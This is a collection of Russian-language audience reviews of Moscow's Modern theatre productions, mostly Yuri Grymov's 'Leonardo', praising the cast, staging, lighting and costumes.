"Сказки для взрослых" - всего то полтора часа, а действий за это время происходит на целую вечность. Свет, декорации, костюмы - все буквально притягивает взгляд. Действо настолько динамично, что чуть отвлечешься - уже следующий сюжет. А уж актеры! Они просто поражают талантом перевоплощений! Каждый за спектакль примеряет на себя несколько ролей и просто покоряют зрителя мастерством! А чего стоят пластические этюды, которые порой веселят, а порой заставляют вздрогнуть)

Все очень необычно и чувствуется режиссёрский подчерк - чуть заметный, но, кажется, его уже не спутаешь ни с чем. Надо срочно проверить и посмотреть другие постановки этого театра.

А между тем спектакль то о серьёзном... все про нас... даже сквозь сказки... сквозь время... сквозь улыбку грустишь и задумываешься о своем... Интересно, где мой саксофон....

И да))) как это - заниматься любовью с человеком-невидимкой?))))

Всегда воспринимала театр Модерн как очень креативный театр. Казалось, что просто спектакль "за жизнь" здесь увидеть не удастся никогда. Но вот случилось же. #ХОЧУНЕМОГУ – так называется новая работа режиссера и актера Сергея Аронина по пьесе Елены Исаевой "Я боюсь любви". Это уже второй спектакль, поставленный Сергеем Арониным в стенах Модерна. Да еще несколько работ я видела в его авторской студии ARONINSPACE. Все виденные мною ранее Аронинские спектакли тоже были очень необычны и креативны, казалась что простые жизненные проблемы наших современников не очень ему и интересны, а оказалось что я ошибалась.
На сцене перед нами разыгрывается цепочка маленьких человеческих трагедий, череда увлечений, влюбленностей, разочарований и расставаний.
Спектакль поставлен в жанре "домашнего мюзикла" музыка, написанная все тем же Сергеем Арониным, сопровождает все повороты сюжета, песни-исповеди, написанные на стихи Елены Исаевой рассказывают нам о героях спектакля порой больше, чем могли бы рассказать слова.
А главное всем актерам театра Модерн, участвующим в спектакле, есть где блеснуть своим мастерством. Почти всем досталось по нескольку ролей. Перевоплощения происходят столь кардинальные, что даже невозможно поверить, что только что на сцене мы видели эту же актрису.
Маргарита Шилова из затюканного синего чулка молниеносно превращается в креативную представительницу богемы. Марина Дианова только что была перворазрядной редакционной сплетницей, и вот она уже капризная знаменитость, а ее драный лисий воротник превращается в богемную собачку, из тех, что хозяйки повсюду носят с собой в ридикюлях. Александра Богданова из изящной и кокетливой секретарши перевоплощается в неуклюжего подростка.
И так весь спектакль, каждый из участвующих в нем актеров радует нас и удивляет. А еще все поют, многие играют на разнообразных инструментах. И в результате в спектакле #ХОЧУНЕМОГУ о сложных отношениях говорится предельно простым языком, без пафоса и назойливых моралей.
Художнику Екатерине Мирошниченко, на крохотной сцене малого зала театра Модерн, самыми простыми средствами удается создавать разнообразные, но узнаваемые интерьеры. Всего-то несколько стульев и небольшая эстрада в глубине, а перед нами то уютная комната, то офисное пространство, то заснеженный двор.
Елена Исаева написала очень жизненные, забавные тексты, Сергей Аронин обыграл их так, что смех в зале не утихает на продолжении всего спектакля. Но когда выходишь из театра, то понимаешь, что где-то в глубине моей души авторам удалось добраться до, казалось бы, надежно упрятанных слоев. И всю дорогу до дома думаешь, вспоминаешь и выстраиваешь параллели с собственной судьбой.
Если вы хотите провести приятный вечер в приятном месте. Посмотреть талантливый спектакль, поставленный по интересной пьесе, от души посмеяться и немножко попереживать, то вам прямая дорога в театр Модерн на #ХОЧУНЕМОГУ.

«Леонардо»
Леонардо да Винчи всем нам известен как выдающийся художник эпохи Возрождения, только глухой не слышал о его «Моне Лизе» или «Тайной вечерии», которая, к слову, шедеврально показана в спектакле, я бы даже сказала, что это «гвоздь» всей постановки.

А многим ли известно, что именно Леонардо спроектировал дельтаплан, парашют, автомобиль, правда, это были лишь чертежи, идеи воплощённые на бумаге, которым дали жизнь лишь в XIX веке. Однако, в списке изобретений Леонардо есть не только те, что служат на благо общества, он так же разрабатывал смертоносное оружие. Леонардо приписывают изобретение арбалета, кассетной бомбы, разрывных ядер, многоствольной пушки, катапульты и многого другого, он создал чертежи танка и вертолета.

Так кто же этот человек? Антихрист или Христос? Именно об этом заставляет задуматься зрителей Юрий Грымов, показывая разные стороны без преувеличения гениального Леонардо, которого великолепно сыграл заслуженный артист России Дмитрий Бозин.

Не для кого ни секрет что постановки Юрия Грымова - это всегда эстетическое наслаждение. Создавая спектакль, Грымов возлагает на себя функции не только режиссёра, но и художника-сценографа, художника по свету, а так же занимается музыкальным оформлением, в результате зрители получают потрясающе красивое зрелище! Отдельно хочу сказать про световое оформление которое каждый раз вызывает у меня неподдельный восторг. Свет в постановках Грымова - это главная и самая эффектная декорация.

Как же красиво и необычно выглядит сцена создания картины, когда в лучах прожектора начинают рождаются замысловатые рисунки, стоит только Леонардо встряхнуть пыль с полотна закрывавшего мольберт.

Спектакль «Леонардо», впрочем как и «Пётр», дарит зрителю не только визуальное наслаждение, он заставляет изучать, думать, анализировать и делать выводы, и для меня это очень ценно.

«Леонардо» в театре «Модерн» - это 2я часть «Антихрист и Христос». Где вслед за личностью Петра1, режиссер предлагает нам исследовать душу гения эпохи Возрождения.
Леонардо - натура спорная. С одной стороны он нарисовал «Тайную вечерю», с другой - спроектировал бомбу. И такие противоречия и разносторонние таланты начиняют его и его внутренний мир на протяжении всей жизни. Глядя на то, кого он притягивает в свою жизнь и к кому тянется сам, ты понимаешь, что невозможно судить о человеке как о положительном или отрицательном. Он весь соткан из противоречий. Есть в нем и божественное и низменное.
Потрясающая задумка режиссера и игра актеров. Невероятная работа команды: свет, звук, костюмы - всё помогло погрузить в атмосферу эпохи Ренессанс.
Было несколько ярких моментов, об одном режиссер просил не упоминать в отзывах, так как вречатление произвести можно один раз. Но вот 2й момент поразивший меня: фреска прямо на потолке зала (все зрители ахнули, увидев как она появилась) и живые голуби в последней сцене - это всё по истине заслужило отдельных строк.
От всей души рекомендую к просмотру!

Премьера спектакля "Леонардо"

В театре «МОДЕРН» состоялась премьера второй части трилогии Юрия Грымова «Антихрист и Христос» - «Леонардо». Первый спектакль, «Петр», уже второй сезон с большим успехом идет на сцене. Третья часть «Иуда?», про самого известного предателя всех времен, завершит цикл.

Примечательно, что если у Д.С.Мережковского, романы которого лежат в основе трилогии, показан путь от Христа к Антихристу, как борьба двух начал в масштабных исторических личностях разных эпох, то целью Юрия Грымова было показать трагедию человеческого духа через движение «наоборот», от Антихриста - к Христу, от тьмы – к свету. Замысел «Леонардо» режиссер, увлеченный эпохой Возрождения, вынашивал фактически с подросткового возраста, и в спектакле, как и в «Петре», чувствуется невероятно глубокое погружение в архивные материалы и контекст эпохи. Также интересна афиша: сочетание античной мужской головы с волосами-змеями Медузы Горгоны, т.к. первой работой Леонардо было изображение Медузы на защитном щите, а также – дань андрогинности, впервые привнесенной в искусство именно им.

«Леонардо» объединил не только труппу «МОДЕРНА», но и артистов других театров, а на главную роль был приглашен Дмитрий Бозин, ведущий актер театра Виктюка – и я считаю, что лучшего выбора и представить невозможно! Дмитрий с его фантастической пластикой и глубиной многослойной актерской игры, как никто способен показать гения, который одной рукой пишет «Тайную вечерю», а другой – изобретает страшную бомбу. Юрий Анпилогов же, сыгравший роль Петра I в первой части трилогии, здесь перевоплощается в миланского герцога Моро, многолетнего заказчика Леонардо.

Спектакль, как и «Петр», похож на долгий зловещий сон, где луч света выхватывает из мрака отдельные сцены и фигуры. Действие во тьме, кажется, тянется бесконечно, вовлекая огромное количество исторических персонажей: вот Рафаэль (Евгений Казак) и Микеланджело (Михаил Матыченко), с которым у Леонардо всю жизнь была «творческая битва». Религиозный фанатик Савонарола (Алексей Багдасаров), начавший как настоятель монастыря, а впоследствии сжигавший заживо еретиков и мужеложцев. Король Франции Франциск I (Александр Колесников), пригласивший на исходе жизни да Винчи в замок Кло-Люсе, где тот и окончил свои дни. И, конечно, прекрасная Лиза Джоконда (Маина Чижевская) - единственная женщина, которую Леонардо по-настоящему любил и Салаи (Мария Кондратова), мальчик-ученик, послуживший моделью для многих работ Леонардо, в частности, знаменитого «Иоанна Крестителя».

Леонардо, как истинный гений - легко увлекающийся человек и относится к уже завершенным собственным творениям на редкость равнодушно. Его не интересует, что написанная темперой по сухой стене, а не по влажной штукатурке «Тайная вечеря» через несколько десятков лет канет в небытие. Ему все равно, если бывший натурщик-Иисус обнищает и станет грязным бродягой, свою функцию он выполнил. Леонардо становится первым, кто расчленяет трупы женщин, стариков и детей в медицинских целях. Леонардо пишет только то, что видит, и не способен выписать невинную Мадонну из любовницы герцога Моро. В его записях с одинаковым мастерством эскизы портретов святых переплетены с чертежами публичного дома, подслушивающих устройств, боевых колесниц и бомбы. Как ребенок, еще только исследующий мир и не понимающий, где добро, а где зло – Леонардо берется за все интересные ему заказы. Как творец, он избегает истинных чувств и любви, не позволяя ей взять над собой верх, и только платоническое трагическое знакомство с прекрасной Джокондой поколебало его убеждения. Да и человек ли он? Или не врет прекрасная натурщица-ведьма Кассандра (Надежда Селиванова), что встречала его на шабаше? А может быть, именно он - тот посланец неба, который даст людям крылья, ведь над ними он тоже работает? Но разбившийся ученик останется лишь ступенью на пути к познанию…

В спектакле очень красивые сцены со светом: особенно впечатляют взрывы от бомбы и плавный танец, когда Леонардо в луче света «управляет» медленно кружащимися вокруг героями. Поистине прекрасно начало второго акта в мастерской при написании портрета Джоконды: клубы пыли (песка? пепла?), облаком которой в наслаждении пропитывается Леонардо перед тем, как вернуться к работе.

Какое отношение живопись имеет к реальной жизни? Этим вопросом задаются и герцог Моро с супругой, и сам Леонардо, и его ученики, и трое странников-монахов, которые приезжают в Италию в поисках лучших художников для двора русского царя. Именно они нарекут женоподобного «Иоанна Крестителя» предтечей Антихриста, и подарят уже пожилому Леонардо православную икону. И, может быть, таким и должно быть истинно светлое священное искусство – чем-то, что нельзя увидеть и понять глазами, а можно лишь почувствовать сердцем?

ЮРИЙ ГРЫМОВ И ЕГО "ЛЕОНАРДО"

В спектакле явственно кроме горизонтали прорисовывается и вертикальная линия, образуя пока ещё неясно очерченный, но Крест.

Горизонталью выступает собственно период жизни Леонардо да Винчи, когда он достигает пика своего мастерства, примерно 1495 – 1503 годы. Именно в это время он получает заказ от герцога Милана Людовико Сфорцо (Моро) на монументальную роспись «Тайная вечеря» в одном из миланских монастырей, а чуть позже пишет портрет жены торговца шелками Франческо Джокондо, над которым он работает целых четыре года, не желая расставаться с моделью и отдаваясь работе со всей страстью. Кроме творчества гений Леонардо проявляется в изобретении изощренного военного оружия и первой модели летающего аппарата с машущими крыльями. Его ученики «леонардески» помогают ему в работе.

В то же самое время на сцене будут пылать «костры тщеславия», которые разжигает по всей Италии доминиканский монах и религиозный фанатик Савонарола, и в которые полетят предметы роскоши вместе с произведениями искусства. Милан будет захвачен французскими ********, и покровитель Леонардо герцог Моро будет свергнут и попадет в плен, из которого уже не вернется. Кроме прочего Италию посетит русское посольство, ищущее по заказу князя Московского талантливых итальянцев для работы в столице. Все сюжетные итальянские линии мастерски переплетутся и сольются в одну общую историю с неожиданно «русским следом» в финале.

Вертикаль же будет выстроена воистину израительными сценами, которые поразят даже самого искушенного зрителя, не менее чем полвека назад Рафаэля и Микеланджело при виде росписи Леонардо в трапезной монастыря Санта-Мария-делле-Грацие. Сам Юрий Вячеславович строго настрого предупредил насчет кары за разглашение, поэтому молчу, молчу, хотя и еле сдерживаюсь.

В качестве моральной компенсации позволю себе эмоции, поскольку они были шоковыми.

Перед спектаклем, зайдя на сайт театра, чтобы на странице спектакля посмотреть на актерский состав, и увидев имя исполнителя главной роли Леонардо да Винчи, у меня непроизвольно вырвалось маргинальное, но искреннее восклицание: «Офигеть!». Дмитрий Бозин, звезда Театра Виктюка, Соланж из культовых «Служанок» - Леонардо? Сложнейшая по нюансам роль, сыграть не обыкновенного человека, а Гения, в котором так легко уживались и Бог, и дьявол. Сыграть Гения, видящего мир как единое целое, искусство которого выше нравственности, искусство которого сродни пению ангелов на земле. Сыграть луну, которая одинаково светит Христу и Иуде, творцу и завистнику, победителю и побеждённому. Сыграть земную безгрешную любовь Гения. Невозможно просчитать, как и почему режиссер пригласил на кастинг Дмитрия Бозина, но надо признать его выбор точнейшим попаданием в образ, а пластическое и драматическое решение роли самим актером упоительным.

Следующим потрясением была обязана Юрий Анпилогов в образе миланского герцога Моро. Кто этот трясущийся развратный мерзкий горбун со слюнявым ртом, отвратительный мизантроп, неужели это Анпилогов?! Потрясающе гиперпрофессиональный актер. Чтобы подобрать ему пару согласно буквальному «муж и жена одна сатана» для роли бесстыжей и порочной жены Беатриче Грымов увел из Театра на Юго-Западе Жанну Чирву, предвидя таким образом и её актерский триумф.

И в третий раз, когда про себя я безостановочно произносила «офигетьофигетьофигеть» было как раз то, о чем нельзя говорить (назовем эту «бомбу Грымова» использованием мегаэффектного кинематографического приёма и переносом его на театральный язык).

Видовое отличие спектаклей Грымова заключается в том, что все играют с удовольствием, Грымов не даёт заскучать, внедряет в своих актеров радость от материала. При достаточно сдержанных декорациях спектакль наполнен богатейшим набором визуальных средств, тонкой и своеобразной 100% эстетикой Ренессанса, которая может таиться в волнах шелковой вуали Моны Лизы, озаряющей её нежное лицо улыбке, рыжей копне волос натурщицы Кассандры, розовой подсветке женственного мальчика-ученика Салаи, беззвучном почти мультипликационном замедлении драки Леонардо с Микеланджело. Участники трапезы во дворце герцога Моро, кажутся ожившими грешниками из «Страшного суда» Микеланджело. Одеяние Леонардо напоминает хитон Христа. Многое хочется отметить, в том числе и отменную музыкальность его постановок. Все эти детали, интегрированные в единый спектакль, производят поразительное впечатление.

Леонардо да Винчи. Величайший гений, таинственный, манящий. Одновременно он для нас так далёк, но так актуален. Его судьба словно горный поток стремительна, неподражаема, притягательна. Его творческий путь полон встреч и расставаний, сопряжен с поиском добра и зла, усыпан невероятными событиями. О нем уже многое написано, раскрыты его тайны и загадки, но этого никогда не будет достаточно, потому что постичь путь гения и прикоснуться к нему - это лишь дорога для избранных.
Хочу поделиться с вами впечатлениями о пресс-конференции и премьерной постановке «Леонардо» режиссёра театра «Модерн» Юрия Грымова.
Задумка трилогии «Антихрист и Христос» получила продолжение этой осенью.
Мы вошли в эту премьеру так, как этого захотел сам режиссёр.
Такой верный и правильный тактический ход с пресс- конференцией, где были раскрыты все вопросы, просто необходим для полного понимания картины и глубины постановки.
Все актеры, задействованные в премьерном спектакле, были представлены согласно ролям. Невозможно разобраться в таинстве души гения, не зная событий, оказавших влияние на формирование его идей, а также всех людей в его окружении.
Хочется отметить, что роль Леонардо из Винчи играет приглашённый актёр из театра Романа Виктюка - ДМИТРИЙ БОЗИН.
Невероятная передача эмоций и событий, происходящая на сцене, осуществляется через игру актёров, музыку и конечно же костюмы персонажей.
Немного расскажу обо всем подробнее.
Главный герой - наш мужественный, элегантно-откровенный Дмитрий Бозин (Леонардо), но не менее прекрасна актёрская игра главной мужской звезды театра Юрия Анпилогова.
Юрий в роли жестокого и уродливого правителя герцога Мора настолько убедителен и не по-человечески страшен, что создаётся ощущение полного переноса в воинственную атмосферу Милана 1480-х годов.
Очень приятно видеть игру Жанны Чирвы - приглашённой звезды театра на Юго-Западе, она играет роль Беатриче д’Эсте, имеющей влияние на самого герцога, а также придворных дам и знатных господ.
Все персонажи и само действо так или иначе связаны с деятельностью Леонардо…Он и в роли учителя, за которым идут его ученики, он в роли любящего и любимого, он действует в рамках прекрасного и ужасного, умея извлекать выгоду и влиять на людей, заставлять их думать, как он.
Леонардо приходится вести беседу серьезно, он старательно изучает каждого собеседника, чтобы убедить потом и заставить смотреть на вещи его же глазами. Однако сути своей он так и не раскрыл ни перед кем вплоть самого конца.
Очень, очень завораживает музыка спектакля. Будто ты попадаешь на ритуал шамана, впадая в транс. Всё, всё здесь таинственно, и пропитано такой страстью, и пылкостью, что порой забываешь про то, что перед тобой игра, а не настоящая жизнь. Четко показаны переплетения чувств и эмоций сквозь танец, а пластика и грация актёров просто зачаровывает.
Каждый в своей роли, как отдельный апостол. Невероятные женские роли: каждая прекрасна и ещё прекраснее…Влюбляешься и видишь их сексуальность и страсть независимо от половой принадлежности. Наверно в этом и есть смысл понимания. Нет различия между полами в любви, а есть величие и состояние души.
Есть отрешенность и невесомость бытия и именно её Леонардо впервые показывает нам это в своих работах…
Голуби 🕊- моя отдельная любовь…Спасибо за эти мгновенья счастья…для меня это было самым приятным сюрпризом.
Приходите в собор. Зовите друзей.
Мы так много не знаем и не видим…
Выключайте Zomboящик и ступайте в храм «Модерн»!!!!

Что многие из нас знают о гении Леонардо да Винчи? Это человек талантливый, с неординарными способностями и знциклопедическими знаниями во многих областях; как сейчас модно говорить, человек-мультипотенциал, но не по верхушкам схватывающий информацию, как это свойственно многим мультипотенциалам, а докапывающийся до самой её сути; человек, любящий искусство, известный нам как автор множества прекрасных картин, и в то же время именно Леонардо один из первых изобрёл смертноносное оружие; это человек, сочетающий, на первый взгляд, в себе несочетаемое: тягу к духовности, к созиданию и склонный к ********** и уничтожению.

Юрий Грымов на пресс-конференции сказал, что интересовался личностью Леонардо лет с 14 и прочел 80% литературы, посвящённой Леонардо. Я примерно в таком же возрасте или чуть раньше узнала о гении Леонардо да Винчи, но мои знания в разы скуднее. О его личности не знала ничего. Не знала, что Леонардо запретил себе любить, считая, что его жизнь принадлежит науке, был обвинён в содомии, натурщиков для своих картин находит на улице, а с портретом Моны Лизы отказался расставаться до самой смерти.

Леонардо прекрасно сыграл Дмитрий Бозин, один из ведущих актёров Театра Романа Виктюка. К сожалению, в этот театр пока не попала и видела Дмитрия на сцене впервые. Главную роль он сыграл прекрасно. Его Леонардо получился очень сильным, мощным, темпераментным, мудрым и в то же время глубоко несчастным человеком. Предвкушаю увидеть его в других постановках.

Маина Чижевская, сыгравшая Мону Лизу, на пресс-конференции утвержала, что внешнее сходство с Джокондой у неё полностью отсутствует. Да, они внешне не сильно похожи, но на мой взгляд, очень похожи внутренне ощущением спокойствия, умиротворения, чувством собственного достоинства и некой растерянностью.

Юрия Анпилогова в роли герцога Моро сначала даже не узнала. После роли Петра увидеть его на сцене в роли скользкого, хитрого герцога было удивительно. Но это безусловно подтверждает его актёрский талант.

Про визуальные эффекты, костюмы и музыку не буду писать подробно. Могу сказать, что это нужно видеть. И немного завидую тем, кому спектакль только предстоит увидеть.

Я же предвкушаю увидеть третью часть трилогии, "Иуду", и продолжаю читать Мережковского, по чьей книге и поставлены предыдущие две части.

В четверг в авторском театре «МОДЕРН» состоялся долгожданный закрытый пресс-показ премьеры спектакля «Леонардо» трилогии «Антихрист и Христос». Перед просмотром режиссер Юрий Грымов провел пресс-конференцию , на которой зрители, гости и журналисты могли задать волнующий вопрос. Так же на сцене присутствовала вся труппа актеров. Каждый исполнитель представил своего героя и охарактеризовал его. Хочется подчеркнуть необыкновенную атмосферу единения и вовлечения в творческий процесс всей команды актеров. Получился очень интересный и душевный диалог между режиссером и публикой. Говорили на разные темы о творчестве великого гения Леонардо да Винчи и его уникальных шедеврах, о театре Модерн, о планах на будущее.
Действие самого спектакля погружает зрителя в переломные времена, связанные с переходом Западной Европы из Средневековья в новый период развития эпохой Возрождения, где переплетается божественное и человеческое. Несмотря на многочисленные *****, эпидемию чумы, инквизиции нашлось место для прекрасного и уникального. Леонардо да Винчи - великий гений или алхимик? Его гениальность проявлялась во многих сферах деятельности - он и философ, и архитектор, инженер, скульптор, изобретатель, писатель, музыкант, ученый-анатом, естествоиспытатель… Леонардо мечтает о невозможном, состязаться с великими творцами античности. Все его исследования основываются на опытах. На своих холстах он изображает красоту в правильных пропорциях.
Знаменитая картина «Мона Лиза» и ее «следящий»взгляд - ученые до сих пор не могут ее разгадать. Каждый видит на картине то выражение лица , которое хочет видеть. Увидел ее по-своему и режиссер Ю. Грымов в лице Маины Чижевской, на мой взгляд , очень нежная и безмятежная получилась Лиза Джоконда.
Органично вошел в роль Леонардо да Винчи заслуженный артист России Дмитрий Бозин, его игра на сцене получилась очень «жизненная» и реалистичная.
Чтобы понять глубокий замысел мастера нужно уметь видеть душой. Подобно великому изобретателю режиссер сумел зашифровать в своем представлении некую тайну. Но об этом ни слова, каждый должен разгадать ее по-своему на премьере спектакля. 🤫
Отдельное внимание хочется уделить освещению в постановке. Так как на полотнах великого художника приглушенный свет дарит мягкость лицам и глубину пейзажам, точно так же удалось режиссеру Грымову выстроить свет нужным образом на сцене.
Хочется отметить великолепное исполнение костюмов , которые помогли настолько четко перевоплотить актеров и наполнить смыслом их роли.
Спектакль произвел на меня большое впечатление, обязательно нужно посмотреть остальные части трилогии «Петр 1» и «Иуда». Очень рекомендую)

Леонардо в театре Модерн, режиссер Юрий Грымов.
Не могла пройти спокойно мимо спектакля о художнике эпохи Возрождения Леонардо да Винчи. Поэтому огромное спасибо за приглашение. Особенно хотелось посмотреть, потому что в этой постановке играет звезда театра Романа Виктюка – заслуженный артист Дмитрий Бозин.
Из Дмитрия, на мой взгляд, получился отличный Леонардо: одновременно и земной и возвышенный образ вечного мыслителя, философа, ученого и художника. Образ на сцене получился живой, настоящий, правдивый. Ну и особая, выверенная до эталона пластика, как вишенка на торте, в спектакле для визуалов.
К слову сказать, кастинг на спектакль очень интересный, кроме постоянных участников своего театра, Юрий Грымов пригласил талантливых актеров из других коллективов. Например, Жанну Чирву из «Театра на Юго-Западе», которая отлично вошла в роль Беатриче, жены герцога Моро. Или Надежду Селиванову, сыгравшую восхитительно-огненную Кассандру. Сцены где они с Богданом Щукиным – это нечто запредельное. В роли же герцога Моро - ведущий артист театра Юрий Анпилогов – мастер психологических ролей, бесподобен, как всегда. Микеланджело – яркого, экспрессивного критика работ Леонардо сыграл выпускник этого года курса Д. Певцова и О. Дроздовой – Михаил Матыченко, который многим запомнился по ярким, талантливым студенческим работам. И это сочетание команды маститых артистов и энергичной, амбициозной молодежи – потрясающий коктейль.
Колоритны и ученики Леонардо: Зароастр (Александр Толмачев), Чезаре (Александр Сериков) Джованни (Богдан Щукин), Салаи (Мария Кондратова), одно ее «да» - так смешно и ярко! Несмотря на то, что это густо населенный спектакль, нет проходных образов, все роли, даже эпизодические доведены до совершенства, характерности и блеска. Образ противостояния великому гению Леонардо – совершенно фантастично сыграл Алексей Багдасаров (Савонарола). Евгений Казак играет роль Рафаэля тонко и изящно. И особенно хочу отметить тройку иконописцев из России, образы актеров Александра Борисова, Дениса Игнатова, Владислава Свиридова. Это добавило спектаклю такую милую и родную деталь. Вы увидите и «Даму с горностаем», и «Мону Лизу» (Маина Чижевская) и еще тысячу идей великого гения, воплощенные в жизнь. Огромное спасибо всем артистам за эти небольшие роли, но которые, подобно солнечной мозаике украсили спектакль, зажгли его жизненным светом.
Как всегда, в спектаклях Юрия Грымова безупречны декорации, звук и костюмы. Спасибо Ирэне Белоусовой за то, что продолжает интересно и красиво одевать артистов.
Кроме того, в спектакле есть момент, который нам запретили фотографировать, снимать видео, и он - великолепен. Но справедливости ради хочу отметить, что для меня визуальных вау-момента в спектакле было три. И я завидую тем, кто пойдет и увидит это впервые, поэтому не буду спойлерить. А просто советую идти и наслаждаться увиденным. Даты премьеры 17, 24, 27 октября.
Для себя я сделала вывод, что это очень многослойный, метафоричный спектакль, на которой я хочу обязательно вернуться снова, чтобы было, о чем подумать, поразмышлять. Кроме того, собираюсь почитать книгу Мережковского, чтобы более полно ощутить спектакль в следующий раз. Хотя по словам режиссера, в этом спектакле, много личных знаний Юрия Грымова, т.к. личность Леонардо его заинтересовала еще в 14 лет и С тех пор режиссером было прочитано большое количество книг про этого многогранного гения.
В остальном театр Модерн – остается таким же эталонным театром, куда можно приводить своих друзей: радушное отношение к гостям, вкусный и атмосферный буфет, уютная библиотека, красивый интерьер для фотосессий. Как хорошо, что некоторые вещи не меняются и продолжают нас радовать. Спасибо театру за это!

Я познакомилась в театре с Леонардо да Винчи. И это оказалось настолько увлекательно, что теперь по ночам читаю Дмитрия Мережковского «Воскресшие боги. Леонардо да Винчи», ведь именно по его романам Юрий Грымов ставит свои знаменитые спектакли трилогии «Антихрист и Христос» и показывает нам авторское видение личностей Петра I и Леонардо.

Итак, вторая часть трилогии - «Леонардо». Перед зрителями разворачивается драма гения, который следовал принципу: высшее служение искусству и науке возможно только при абсолютной свободе от всех человеческих чувств.

Леонардо в спектакле - это исследователь, одновременно служащий и добру, и злу. Бесстрастно изучая анатомию, перспективу, законы света и тени, он создает свои шедевры.
С тщательностью и педантичностью, художник выверяет пропорции на фреске «Тайная вечеря», изобретает летательный аппарат и одновременно по заказу герцога Моро создает бомбу.
Леонардо уверен, что с помощью математики, знаний и опыта можно достичь совершенства. Но однажды в его жизнь влетает Душа и склоняет чашу весов в сторону Света.

Очень красивый и глубокий спектакль с прекрасным актерским составом.

Заслуженный артист России Дмитрий Бозин ни на секунду не даст засомневаться, что именно он и есть великий гений Леонардо.

Юрий Анпилогов блестяще перевоплотится в коварного герцога Моро, который держал Леонардо при своем дворе в качестве инженера, архитектора и конструктора военных машин.

Богдан Щукин покажет нам пылкого юношу Джованни, одновременно восхищающимся своим учителем Леонардо и недоумевающим, как может сочетаться в нем гениальность и совершенная отрешенность от чувств.

Маина Чижевская создаст образ утонченной, светлой и нежной Лизы Джоконды, покорившей сердце великого мастера.

Юрий Грымов в этом спектакле не только режиссер-постановщик, но и художник-сценограф, художник по свету и, традиционно, создатель музыкального оформления, а значит эстетическое удовольствие гарантированно.

Тайная вечеря, Витрувианский человек, фреска Микеланджело на потолке Сикстинской капеллы/Театра Модерн - эти сцены спектакля вы совершенно точно будете вспоминать еще долго.

Первый раз в " Модерне" -- и предпремьерный показ "Леонардо"!
Эстетика театра восхищает!
Удобная парковка рядом ( да, это важно!), приятные служащие, встречающие вас на входе, табличка о дресс-коде в гардеробе, великолепное шампанское в буфете, изысканное оформление залов для ожидания первого звонка -- из всего этого и складывается впечатление о театре!
Отдельное удовольствие -- встреча с режиссером и актерами до спектакля и возможность задать им вопросы, это помогает глубже понять задумку режиссера.
С 14 лет Юрий Грымов читал и думал о жизни Леонардо, и воплотил этот анализ в жизнь в своем спектакле, являющемся 2 частью трилогии " Антихрист и Христос" ( первая -- это спектакль "Петр I").
Тонкий анализ опыта души гения, признанного еще при жизни, через его окружение, творчество (тут присутствуют и Дама с горностаем, и Тайная вечеря, Мона Лиза), любовь, боль и утраты, написан изящными мазками костюмов эпохи, подбором актерского ансамбля ( здесь заняты артисты самых разных театров Москвы, а в роли гениального Леонардо -- не менее гениальный Дмитрий Бозин из театра Виктюка), аудио и визуаалных спецэффектов.
Об этом спектакле хочется думать и вспоминать после, он вызывает желание перечитать жизнеописание Леонардо, о котором мы знаем по фрескам, картинам и витрувианскому человеку, и да, он вызывает эмоции, даже слезы!
Таким и должен быть настоящий театр!
Приходите обязательно!

Как вам такой эксперимент – посмотреть на человеческие души через призму отношения этих самых душ к своим вещам и наоборот. К вещам, с которыми множество из нас ежедневно проводит немало времени, и которые, дарят нам комфорт, безопасность и, конечно же, эмоции от владения ими. О чём речь? Ну, конечно же, о наших железных конях! Согласитесь – неординарный подход?

Так вот, в спектакле «Понты» режиссёр Юрий Грымов поставил перед актёрами, казалось бы, невыполнимую задачу – исследовать и разложить по полочкам метаморфозы, произошедшие с нашим обществом за последние пару-тройку десятков лет, где всё действо преподносится от лица автомобилей, которые провели много времени вместе со своими хозяевами.

Авто различных, в основной своей массе, премиальных марок, волею судеб, оказавшись собранными и брошенными «под общей гаражной крышей», излагают зрителю драматургию отношений из прошлого и историю расставаний со своими, преимущественно, богатыми и избалованными жизнью хозяевами.

Спустя несколько минут после начала спектакля, неожиданно для себя понимаешь, что пространства для исследования, прямо-таки, более чем достаточно, ведь дорогие игрушки – «возбудитель» различных человеческих слабостей – от гордыни, до зависти и жадности. А ближе к финалу спектакля отчётливо считываешь формулу: промышленная революция, придавшая ускорение всего и всея вокруг, где «клиповое мышление» – это способ выжить и не потеряться в обширнейшем информационном поле, плюс, растущее по экспоненте количество взаимосвязей между людьми, равно девальвированию ценности не только вещей, но и, прежде всего, отношения друг к другу. Однако, вдруг, любое событие, угрожающее исчезновению кого-то очень важного из нашей жизни, вмиг делает ничтожным всё наносное – ментальное и физическое, что прилипло к душе и карману.

Избранная метафора с автомобилями, искусно подсвечивает истину: любите и цените своих близких и каждый проведённый с ними момент! А в сознании, тем временем, всплывают тёплые нотки воспоминаний из детства: о сборах и поездках всей семьей на дачу… конечно же на любимой папиной машине.
Как всегда - светомузыка и костюмы - на высшем уровне!
Режиссеру Юрию Грымову и всему актерскому составу огромное БРАВО!!!

13 октября мне выпала уникальная возможность ещё до премьеры увидеть новый спектакль "Леонардо" Юрия Грымова из масштабной трилогии "Антихрист и Христос" в театре Модерн. Поразительно, как впечатляюще мощно и величественно можно поставить историю отдельной великой личности в театре. Словно целая жизнь гения с его окружением, творениями, чувствами и страстями прошла, можно сказать, сквозь меня, став каким-то образом частью меня самой.

Так кто же на самом деле Леонардо? Кто вложил в земное существо мудрость уже в Средние века, в эпоху невежества и варварства, проникнуть одновременно в тайны таких наук как живопись, анатомия, астрономия, ботаника, картография и даже палеонтология? Кто он, равнодушный злой гений или самобытный одинокий учёный? Одной рукой он пишет божественные полотна, а другой создаёт чудовищное оружие, работает на негодяев, но его живопись служит церкви, нещадно препарирует трупы, но открывает человечеству познание собственной плоти, отрекается от любых привязанностей, но умирает с единственной в сердце пронзающе сильной любовью. Любовью, которая, кажется, передалась нам всем с его таинственным портретом Моны Лизы... Спектакль не даёт нам ответов, а лишь предлагает пищу для размышления. И я уверена, что теперь, после постановки Юрия Грымова, многие вооружатся интернетом, а быть может, кто-то даже и книгами, чтобы раскрыть для себя личность Леонардо шире, чтобы попытаться познать и понять его следом за театральной постановкой. Потому что лично я ощущаю теперь неразрывную связь с историей Леонардо и желание глубже погрузиться в его мир, заполнить пустоты моих познаний.

В спектакле была задействована вся труппа театра полностью, и к ней еще присоединились актеры, которых театралы уже неоднократно видели в других театрах и успели отметить их великолепную игру.

